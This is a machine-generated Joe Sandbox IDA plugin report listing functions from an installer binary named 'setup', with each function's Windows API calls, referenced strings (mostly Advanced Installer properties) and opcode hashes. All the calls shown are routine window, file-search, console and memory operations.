Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: Window$Long$FreeGlobalStringText$CursorLoadNtdllProc_$AllocCriticalEnterLengthLockSectionUnlock
String ID:
API String ID: 2358954841-0
Opcode ID: 50b18665082e0ac9d4feea3753a01550cc079298c1750e8c0fb28eb39d19e048
Instruction ID: 216102286f4eae4a2085ab877fc3cb273e191611e8525b8403460f4dbf7dacdc
Opcode Fuzzy Hash: 50b18665082e0ac9d4feea3753a01550cc079298c1750e8c0fb28eb39d19e048
Instruction Fuzzy Hash: 47D1AE71900205AFDF10DFA5CC48BBEBBF8EF45714F1481A9E911A7290DBB99E04CBA1

Function 00BC2290 Relevance: 23.4, APIs: 10, Strings: 3, Instructions: 668fileCOMMON

Download Yara Rule

APIs

FindClose.KERNEL32(00000000,?,?,?), ref: 00BC23CF
PathIsUNCW.SHLWAPI(?,*.*,00000000), ref: 00BC2487
FindFirstFileW.KERNEL32(?,?,*.*,00000000), ref: 00BC25DC
GetFullPathNameW.KERNEL32(?,00000000,00000000,00000000), ref: 00BC25F6
GetFullPathNameW.KERNEL32(?,00000000,?,00000000), ref: 00BC2629
FindClose.KERNEL32(00000000), ref: 00BC2698
SetLastError.KERNEL32(0000007B), ref: 00BC26A6
_wcsrchr.LIBVCRUNTIME ref: 00BC26FC
_wcsrchr.LIBVCRUNTIME ref: 00BC271C
PathIsUNCW.SHLWAPI(*.*,?,02141699), ref: 00BC28B5

Strings

*.*, xrefs: 00BC23FA, 00BC2457, 00BC2458, 00BC27E4, 00BC28B4
\\?\UNC\, xrefs: 00BC24A7, 00BC255E, 00BC28D7, 00BC2990
\\?\, xrefs: 00BC2571, 00BC25C6, 00BC29A6, 00BC29FE

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: Path$Find$CloseFullName_wcsrchr$ErrorFileFirstLast
String ID: *.*$\\?\$\\?\UNC\
API String ID: 1241272779-1700010636
Opcode ID: 7bfd1a07a62ea75355b1ff49473ba22205b10c89bc1aaa35dd21a7b47f709530
Instruction ID: 0854047079a0a02d7923ab4065b88bfc214efa0cf476de2db3e11ad34b609ecd
Opcode Fuzzy Hash: 7bfd1a07a62ea75355b1ff49473ba22205b10c89bc1aaa35dd21a7b47f709530
Instruction Fuzzy Hash: 9232F070600605DFDB14EF68C889FAAB7E5FF54314F1082ADE815DB2A1EB75AD44CBA0

Function 00BB5F50 Relevance: 19.9, APIs: 13, Instructions: 416nativememoryCOMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EC), ref: 00BB617B
GetWindowLongW.USER32(00000000,000000EC), ref: 00BB618B
SetWindowLongW.USER32(00000000,000000EC,00000000), ref: 00BB6196
NtdllDefWindowProc_W.NTDLL(00000000,00000000,00000001,?), ref: 00BB61A4
GetWindowLongW.USER32(00000000,000000EB), ref: 00BB61B2
GetWindowTextLengthW.USER32(00000000), ref: 00BB61D6
GetWindowTextW.USER32(00000000,00000000,00000001), ref: 00BB6245
SetWindowTextW.USER32(00000000,00E172AC), ref: 00BB6251
GlobalAlloc.KERNEL32(00000042,00000000), ref: 00BB6286
GlobalLock.KERNEL32(00000000), ref: 00BB6294
GlobalUnlock.KERNEL32(?), ref: 00BB62E8
SetWindowLongW.USER32(00000000,000000EB,00000000), ref: 00BB634D
NtdllDefWindowProc_W.NTDLL(00000000,00000000,02141699,00000000), ref: 00BB639F

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: Window$Long$GlobalText$NtdllProc_$AllocLengthLockUnlock
String ID:
API String ID: 2673961051-0
Opcode ID: 2f3d10f463ed65157dc91c0afef29e221eeff6a2b9c13d1818193d7463029aad
Instruction ID: 6066e3b4d0c9e808e5481dcb2a852d93a40bb0aea41c3ccb8b5b1ca2f4a37e1a
Opcode Fuzzy Hash: 2f3d10f463ed65157dc91c0afef29e221eeff6a2b9c13d1818193d7463029aad
Instruction Fuzzy Hash: 46E1BC71A012059FDB10EF69CC84BBEBBE8EF45310F2441A9E915E7291DBB99D04CBA1

Function 00CAA220 Relevance: 19.7, APIs: 13, Instructions: 155windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001036,00010000,00000000), ref: 00CAA28B
GetParent.USER32(00000000), ref: 00CAA2DE
GetWindowRect.USER32(00000000), ref: 00CAA2E1
GetParent.USER32(00000000), ref: 00CAA2F0
GetDC.USER32(00000000), ref: 00CAA2F3
CreateCompatibleDC.GDI32(00000000), ref: 00CAA320
CreateCompatibleBitmap.GDI32(00000000), ref: 00CAA35F
SelectObject.GDI32(?,00000000), ref: 00CAA370
MapWindowPoints.USER32(00000000,00000000,?,00000002), ref: 00CAA386

Part of subcall function 00C5F860: IsWindowVisible.USER32(?), ref: 00C5F8DA
Part of subcall function 00C5F860: GetWindowRect.USER32(?,?), ref: 00C5F8F2
Part of subcall function 00C5F860: GetWindowRect.USER32(?,?), ref: 00C5F90A
Part of subcall function 00C5F860: IntersectRect.USER32(?,?,?), ref: 00C5F927
Part of subcall function 00C5F860: EqualRect.USER32(?,?), ref: 00C5F937
Part of subcall function 00C5F860: GetSysColorBrush.USER32(0000000F), ref: 00C5F94D

FillRect.USER32(?,?,00000000), ref: 00CAA39C
DeleteDC.GDI32(?), ref: 00CAA3BC
SendMessageW.USER32(?,00001026,00000000,000000FF), ref: 00CAA3E0
SendMessageW.USER32(?,0000108A,00000000,00000011), ref: 00CAA3F3

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: Rect$Window$MessageSend$CompatibleCreateParent$BitmapBrushColorDeleteEqualFillIntersectObjectPointsSelectVisible
String ID:
API String ID: 2161025992-0
Opcode ID: 8451f44767c1883a8cf739999104da0c408dff9dfb61ddfadef63f7eb678577c
Instruction ID: 9a7f87527574423e637e65f6c19b83f29a66b517321fe85483955f97fa3bad98
Opcode Fuzzy Hash: 8451f44767c1883a8cf739999104da0c408dff9dfb61ddfadef63f7eb678577c
Instruction Fuzzy Hash: 04513771D00648AFDB11DFA9CD45BDEBBF8EF59710F20422AE815B72A1EB706984CB50

Function 00BCF410 Relevance: 18.2, APIs: 6, Strings: 4, Instructions: 685windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001009,00000000,00000000), ref: 00BCF4F1

Part of subcall function 00D80260: EnterCriticalSection.KERNEL32(00E9FF6C,?,?,?,00BAAD96,00EA0B9C,02141699,?,?,00DA83BD,000000FF,?,00BC2409,?,?,?), ref: 00D8026B
Part of subcall function 00D80260: LeaveCriticalSection.KERNEL32(00E9FF6C,?,?,?,00BAAD96,00EA0B9C,02141699,?,?,00DA83BD,000000FF,?,00BC2409,?,?,?), ref: 00D802A8

__Init_thread_footer.LIBCMT ref: 00BCF4AE

Part of subcall function 00D80216: EnterCriticalSection.KERNEL32(00E9FF6C,?,?,00BAAE07,00EA0B9C,00E0A670), ref: 00D80220
Part of subcall function 00D80216: LeaveCriticalSection.KERNEL32(00E9FF6C,?,00BAAE07,00EA0B9C,00E0A670), ref: 00D80253
Part of subcall function 00D80216: RtlWakeAllConditionVariable.NTDLL ref: 00D802CA

SendMessageW.USER32(?,0000104D,00000000,?), ref: 00BCFA12
SendMessageW.USER32(?,0000102B,?,0000000F), ref: 00BCFAC0
SendMessageW.USER32(?,00001003,00000001,?), ref: 00BCFB61

Part of subcall function 00CC0250: __cftof.LIBCMT ref: 00CC02A0

SendMessageW.USER32(?,0000101E,00000000,0000FFFE), ref: 00BCFD98

Strings

AiFeatIco, xrefs: 00BCF7AB
Dj, xrefs: 00BCF804
Icon, xrefs: 00BCF866
Dj, xrefs: 00BCF912

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: MessageSend$CriticalSection$EnterLeave$ConditionInit_thread_footerVariableWake__cftof
String ID: AiFeatIco$Dj$Dj$Icon
API String ID: 2303580663-1543522245
Opcode ID: 8c2c238dfc072a730d730f4c5b790a5dfa23290ad7334e4e4f4b910ff8c53257
Instruction ID: ab5ff56faa92debad1a9537d06db11d99f01fb1e6751b7e21a96174de6330e70
Opcode Fuzzy Hash: 8c2c238dfc072a730d730f4c5b790a5dfa23290ad7334e4e4f4b910ff8c53257
Instruction Fuzzy Hash: 83623971900659DFDB24DF64CC88BEEBBF1EB59304F1441E9E44AAB291DB70AA84CF50

Function 00CD1C40 Relevance: 18.1, APIs: 9, Strings: 1, Instructions: 580COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 00CD1DED
__Init_thread_footer.LIBCMT ref: 00CD1F92

Part of subcall function 00D80260: EnterCriticalSection.KERNEL32(00E9FF6C,?,?,?,00BAAD96,00EA0B9C,02141699,?,?,00DA83BD,000000FF,?,00BC2409,?,?,?), ref: 00D8026B
Part of subcall function 00D80260: LeaveCriticalSection.KERNEL32(00E9FF6C,?,?,?,00BAAD96,00EA0B9C,02141699,?,?,00DA83BD,000000FF,?,00BC2409,?,?,?), ref: 00D802A8

GetStdHandle.KERNEL32(000000F5,?,02141699,?,?), ref: 00CD201A
GetConsoleScreenBufferInfo.KERNEL32(00000000,?,?), ref: 00CD2021
GetStdHandle.KERNEL32(000000F5,0000000C,?,?), ref: 00CD2035
SetConsoleTextAttribute.KERNEL32(00000000,?,?), ref: 00CD203C
GetStdHandle.KERNEL32(000000F5,000000FF,?,00000000,?,00000000,00E1A104,00000002,?,?), ref: 00CD20CB
SetConsoleTextAttribute.KERNEL32(00000000,?,?), ref: 00CD20D2
IsWindow.USER32(00000000), ref: 00CD2369

Strings

Error, xrefs: 00CD22FC

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: ConsoleHandle$AttributeCriticalInit_thread_footerSectionText$BufferEnterInfoLeaveScreenWindow
String ID: Error
API String ID: 2811146417-2619118453
Opcode ID: 2f8f6b5ecbe0b85695d49cdfecdc7b69b44a0f130df0320bd2eb2f0b23eaf71d
Instruction ID: 2632c7245fdb3ae3e35a9f968d0974a643e5a4992464065215fcc692579a3e99
Opcode Fuzzy Hash: 2f8f6b5ecbe0b85695d49cdfecdc7b69b44a0f130df0320bd2eb2f0b23eaf71d
Instruction Fuzzy Hash: C0428B70D00219DFDB24CF68CC45BAEBBB0BF59314F1042AAE559B7291EB746A85CF90

Function 00CAA9B0 Relevance: 17.9, APIs: 7, Strings: 3, Instructions: 367windowCOMMON

Download Yara Rule

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000037), ref: 00CAAC39
RedrawWindow.USER32(?,00000000,00000000,00000541), ref: 00CAAC4B
SendMessageW.USER32(?,00000443,00000000), ref: 00CAACA3
GetDC.USER32(00000000), ref: 00CAACC7
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00CAACD2
MulDiv.KERNEL32(?,00000000), ref: 00CAACDA
CreateFontW.GDI32(00000000,00000000,00000000,00000000,00000190,00000000,00000000,00000000,00000001,00000000,00000000,00000000,00000000,?), ref: 00CAACFF

Strings

Segoe UI, xrefs: 00CAACB1
NumberValidationTipMsg, xrefs: 00CAAB15
NumberValidationTipTitle, xrefs: 00CAAA25

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: Window$CapsCreateDeviceFontMessageRedrawSend
String ID: NumberValidationTipMsg$NumberValidationTipTitle$Segoe UI
API String ID: 367477953-2319862951
Opcode ID: c0a554d79f80420704c673020fe06dcae93ff26cf0c737bbef9ea51dd48fc4a1
Instruction ID: 426aa9ecf198101c19ab60b7a9f6535b9078ce07a526a181c5cf03bba133c13f
Opcode Fuzzy Hash: c0a554d79f80420704c673020fe06dcae93ff26cf0c737bbef9ea51dd48fc4a1
Instruction Fuzzy Hash: 39D1D331A00605AFEB14CF24CC95BEEB7F1FF49304F108699E55AA72D1DB746A49CB90

Function 00BD9710 Relevance: 14.8, APIs: 1, Strings: 7, Instructions: 843windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00000030,00000000,00000001), ref: 00BD975F

Strings

SpawnDialog, xrefs: 00BD9E6D
Title, xrefs: 00BD9F12
Dialog, xrefs: 00BD9F3D, 00BD9F65, 00BDA0DF, 00BDA0FF, 00BDA127
AiTabPage, xrefs: 00BD99A6, 00BD9B7B
ControlEvent, xrefs: 00BD9A8B
`Dialog_`=', xrefs: 00BD98F4
' AND `Control_`=', xrefs: 00BD9933

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: MessageSend
String ID: ' AND `Control_`='$AiTabPage$ControlEvent$Dialog$SpawnDialog$Title$`Dialog_`='
API String ID: 3850602802-1412757306
Opcode ID: 081976fee459dd92b9f644ee2b04dd16969bb604651d270ceacf7f7ebe5d8bfc
Instruction ID: 606eee8e5c21deeba91b9292dd73f4d324a65745a8b2cdcd9ee593723466f903
Opcode Fuzzy Hash: 081976fee459dd92b9f644ee2b04dd16969bb604651d270ceacf7f7ebe5d8bfc
Instruction Fuzzy Hash: D2728D31D00258DFDB14DF64C895BEEB7B1FF59304F148299E409AB391EB74AA84CBA1

Function 00BCA820 Relevance: 13.3, Strings: 10, Instructions: 767COMMON

Download Yara Rule

Strings

AI_GenNewCompGuids, xrefs: 00BCAD6E
AI_MajorUpgrades, xrefs: 00BCAC8B
UpgradeCode, xrefs: 00BCA8EE
AI_DynInstances, xrefs: 00BCABAC
ProductVersion, xrefs: 00BCAA08
OldProductCode, xrefs: 00BCAB22
Manufacturer, xrefs: 00BCA97B
ProductCode, xrefs: 00BCA86C
, xrefs: 00BCB0D5
InstanceId, xrefs: 00BCAA95

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID:
String ID: $AI_DynInstances$AI_GenNewCompGuids$AI_MajorUpgrades$InstanceId$Manufacturer$OldProductCode$ProductCode$ProductVersion$UpgradeCode
API String ID: 0-614494711
Opcode ID: 0016ce505927dd8bba4d0a87f517e669788f91e8af236c6236fd0905feb677f1
Instruction ID: 01b5bf07caa283e6fa26ed7d70c81b9b118f793a6a6fb43ac2a7116ef38bdcd2
Opcode Fuzzy Hash: 0016ce505927dd8bba4d0a87f517e669788f91e8af236c6236fd0905feb677f1
Instruction Fuzzy Hash: 9B62BC31D002588BDB14CB68CC95BEEBBB1EF55304F2482DDE446B7691DB746E84CBA1

Function 00CCB3A0 Relevance: 10.9, APIs: 7, Instructions: 383fileCOMMON

Download Yara Rule

APIs

_wcsrchr.LIBVCRUNTIME ref: 00CCB3D9
_wcsrchr.LIBVCRUNTIME ref: 00CCB498
FindFirstFileW.KERNEL32(?,00000000), ref: 00CCB598
FindFirstFileW.KERNEL32(?,00000000,0000002A,?,00000000), ref: 00CCB635
FindClose.KERNEL32(00000000,?,00000000), ref: 00CCB65B
FindClose.KERNEL32(00000000,?,00000000), ref: 00CCB6A5
_wcsrchr.LIBVCRUNTIME ref: 00CCB729

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: Find$_wcsrchr$CloseFileFirst
String ID:
API String ID: 370096839-0
Opcode ID: 76e90f78987d194d13f5b8cb2a5e7b359199fdfc3fb5df226f4d7fb7a6047f03
Instruction ID: 6e6dcdb36f3330de4e8a028def16106fb75a5948f5a09c1919568257504d2d8f
Opcode Fuzzy Hash: 76e90f78987d194d13f5b8cb2a5e7b359199fdfc3fb5df226f4d7fb7a6047f03
Instruction Fuzzy Hash: 56C1B271A042059FDB14DFA9CC46BAEB7F8FF44324F20466EE825D7281D7759E048BA0

Function 00DA3174 Relevance: 10.3, APIs: 1, Strings: 4, Instructions: 1511COMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 00DA3358

Strings

1#IND, xrefs: 00DA3279
1#INF, xrefs: 00DA32AA
1#QNAN, xrefs: 00DA3287
1#SNAN, xrefs: 00DA3280

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: e8a0f3f6caa2c6640015c58db5852457941024b5fd5321e6f89cd032d6017d9d
Instruction ID: 3811d6198c6c290a9c9017afb4ebcdfdfbf78aa356efc60ebc62c5b680ee863a
Opcode Fuzzy Hash: e8a0f3f6caa2c6640015c58db5852457941024b5fd5321e6f89cd032d6017d9d
Instruction Fuzzy Hash: B4D23C71E082288FDB65CF28DC407EAB7B5EB86314F1845EAE44DE7240D774AE858F61

Function 00D7F896 Relevance: 9.0, APIs: 6, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000C,00D7F7B2,00000000,?,00D7F94A,00000000,?,?,00BB8164,?), ref: 00D7F898
GetProcessHeap.KERNEL32(00000008,00000008,00000000,00000000,?,?,00BB8164,?), ref: 00D7F8BF
HeapAlloc.KERNEL32(00000000,?,?,00BB8164,?), ref: 00D7F8C6
InitializeSListHead.KERNEL32(00000000,?,?,00BB8164,?), ref: 00D7F8D3
GetProcessHeap.KERNEL32(00000000,00000000,?,?,00BB8164,?), ref: 00D7F8E8
HeapFree.KERNEL32(00000000,?,?,00BB8164,?), ref: 00D7F8EF

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: Heap$Process$AllocFeatureFreeHeadInitializeListPresentProcessor
String ID:
API String ID: 1475849761-0
Opcode ID: b8388a6902e59a8ae240f1d3d175cc0e65c70fc1a13d590b55eb4f2920c65cb9
Instruction ID: aaa7302cbc80432ba9c6d3cc009c2f6a3e5db9f3acee5ac09d83a4ccde6d1afd
Opcode Fuzzy Hash: b8388a6902e59a8ae240f1d3d175cc0e65c70fc1a13d590b55eb4f2920c65cb9
Instruction Fuzzy Hash: C7F04F71741602DFE7209F7AAC08B1676E8EF99712F244539F945E3250EB31C845CA71

Function 00BC9FF0 Relevance: 6.8, Strings: 5, Instructions: 567COMMON

Download Yara Rule

Strings

MultipleInstancesProps, xrefs: 00BCA10C, 00BCA55E
AI_EXIST_INSTANCES, xrefs: 00BCA245
MultipleInstances, xrefs: 00BCA04D
PropertyValue, xrefs: 00BCA668
AI_EXIST_NEW_INSTANCES, xrefs: 00BCA3A3

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: Init_thread_footer
String ID: AI_EXIST_INSTANCES$AI_EXIST_NEW_INSTANCES$MultipleInstances$MultipleInstancesProps$PropertyValue
API String ID: 1385522511-2308371840
Opcode ID: 7bca596a8140de24998419c1c6257e01f0f6c55c2edd160d9226bc1d4f0e71f5
Instruction ID: 07933f9b3c5a5207e734ef576cb7e89a294cfa668d07c1fb7441bdb92cb1a7dd
Opcode Fuzzy Hash: 7bca596a8140de24998419c1c6257e01f0f6c55c2edd160d9226bc1d4f0e71f5
Instruction Fuzzy Hash: B622A070D10248DFDB18DFA4C899BEEBBB1EF45304F24829DE405B7291DB746A85CBA1

Function 00D9830B Relevance: 6.3, APIs: 4, Instructions: 337COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00D98398

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: a4473bbf9f503decba0e7483b31eca65fff1e717c1630b579ce9787749cead10
Instruction ID: b64f33c7dd2f8f3d871affd926975a1cbde4b8486bc4ae3318eb8fa6b6afbaa9
